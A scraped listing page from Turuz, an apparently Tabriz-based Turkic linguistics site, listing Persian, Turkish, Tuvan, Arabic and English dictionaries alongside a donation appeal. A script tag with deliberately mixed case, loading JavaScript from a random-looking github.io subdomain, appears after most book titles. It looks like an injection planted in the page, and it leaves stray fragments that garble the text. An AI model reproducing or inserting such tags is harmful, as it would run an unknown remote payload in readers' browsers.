"> Bağış

Turuz masraflarını karşılaya bilmemiz için yeni yılda Turuza destek olmak için [email protected] ile irtibata geçin.

Bağışlarınızı bu E-postaya bildirin: [email protected]

Bank kart bilgileri:

6104 3373 5031 8547

Iran Millet Bank

سرمه سلیمانی - تقی الدین اوحدی بلیانی - Farscanın Temel Sözlükleri - SÜRMEYI SÜLEYMANI-1100-HICRI - Taqiyyetdini Ovhadiyi Bilyani - 1363<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

سرمه سلیمانی - تقی الدین اوحدی بلیانی - Farscanın Temel Sözlükleri - SÜRMEYI SÜLEYMANI-1100-HICRI - Taqiyyetdini Ovhadiyi Bilyani - 1363

Farscanın Temel Sözlükleri SÜRMEYI SÜLEYMANI-1100-HICRI Taqiyyeddini Ovhadiyi Bilyani 1363 سرمه سلیمانی - تقی الدین اوحدی بلیانی
4927
0
صحاح الفرس (فرهنگ لغات فارسی از قرن هشتم هجری) - محمدبن هندوشاه نخجوانی - Farscanın Temel Sözlükleri - SAHAHUL FORS-800-HICRI - Naxçıvanlı Mehemmed Ibni Hinduşah - Fars-Ebced - 1976<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js>

صحاح الفرس (فرهنگ لغات فارسی از قرن هشتم هجری) - محمدبن هندوشاه نخجوانی - Farscanın Temel Sözlükleri - SAHAHUL FORS-800-HICRI - Naxçıvanlı Mehemmed Ibni Hinduşah - Fars-Ebced - 1976"> فرهنگ مجمع الفرس جلد 1و2و3 - محمد قاسم بن حاجی محمد کاشانی - سُروری - Farscanın Temel Sözlükleri - MACMAUL FORS - I-II-III- Kaşanlı Mahammed-Sururlu - Fars-Ebced<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

فرهنگ مجمع الفرس جلد 1و2و3 - محمد قاسم بن حاجی محمد کاشانی - سُروری - Farscanın Temel Sözlükleri - MACMAUL FORS - I-II-III- Kaşanlı Mahammed-Sururlu - Fars-Ebced

Farscanın Temel Sözlükleri MACMAUL FORS I-II-III Kaşanlı Mahammed-Sururlu Fars-Ebced فرهنگ مجمع الفرس - محمد قاسم بن حاجی محمد کاشانی - سُروری Bu Sıra Sözlüklər, Hindustanda, Babır Dövründə ...
6497
0
فرهنگ جهانگیری - میرجمال الدین حسین بن فخرالدین حسن انجو شیرازی - رحیم عفیفی - Farscanın Temel Sözlükleri - FARHANGI CAHANGIRI - I-II-Hasan Incu Şirazlı<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

فرهنگ جهانگیری - میرجمال الدین حسین بن فخرالدین حسن انجو شیرازی - رحیم عفیفی - Farscanın Temel Sözlükleri - FARHANGI CAHANGIRI - I-II-Hasan Incu Şirazlı

Farscanın Temel Sözlükleri FARHANGI CAHANGIRI I-II Hasan Incu Şirazlı فرهنگ جهانگیری میرجمال الدین حسین بن فخرالدین حسن انجو شیرازی رحیم عفیفی Bu Sıra Sözlüklər, Hindustanda, Babır Dövründə ...
6446
0
İngilizce - Tuva Türkcesi Qonuşma Qılavuzu - Phrasebook - Sedin Xurak<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

İngilizce - Tuva Türkcesi Qonuşma Qılavuzu - Phrasebook - Sedin Xurak

İNGILIZCE-TUVA TÜRKCESI QONUŞMA QILAVUZU-PHRASEBOOK Sedin Xurak Kiril 2003
5387
0
Bilgisayar - Elektronik Terimler Sözlüğü -Ingilizce-Türkce<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Bilgisayar - Elektronik Terimler Sözlüğü -Ingilizce-Türkce

BILGISAYAR-ELEKTRONIK TERIMLER 8 700 Başlıq Ingilizce-Türkce Tebriz-Turuz-2012
10346
0
Arabca-Erebce  Huquq, Genel Eşanlam Sözlük<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Arabca-Erebce Huquq, Genel Eşanlam Sözlük

Arabca-Erebce  Huquq, Genel Eşanlam Sözlük 6000 Başlıq Tebriz-Turuz-2012
6474
0
Redhouse Ingilizce-Türkce Sözlük - Redhouse-English-Turkish Dictionary<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Redhouse Ingilizce-Türkce Sözlük - Redhouse-English-Turkish Dictionary

REDHOUSE INGILIZCE-TÜRKCE SÖZLÜK 33500 BAŞLIQ اLatin-Latin Tebriz-Turuz-2012
33889
0
Başqa Dilden Geçen Sözcüqlerin Yenisiyle Değiştirilme Dizelgeleri<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Başqa Dilden Geçen Sözcüqlerin Yenisiyle Değiştirilme Dizelgeleri

BAŞQA DILDEN GEÇEN SÖZCÜQLERIN YENISIYLE DEĞIŞTIRILME DIZELGELERI-820 SÖZ      
5049
0

 Sayın oxucular!
Turuz sitesi bir kültürəl ocaq olaraq dilçiliklə bağlı qonulardan danışır. Bu sitə dilçiliklə bağlı dəyərli bilgilər verməkdədir.Dilimizin tarixi və etmolojisi sahəsində çalışan bu sitə, sözlərin kökü və etimolojisi haqqında, başqa sitələrdən dəyişik olaraq, eyləmlə(fe'l) bağlı anlamların açıqlayır.
Sitəmizdə dilçiliklə bağlı bir çox kitab,sözlük, yazılar əldə edib oxuyabilərsiniz. Umuruq ki bu sitə, siz dəyərli, sayın oxucular yardımıyla, dilçilik qollarının gəlişməsi, yüksəlişi yolunda bir addım götürəbilsin.
Bey Hadi ([email protected])
Təbriz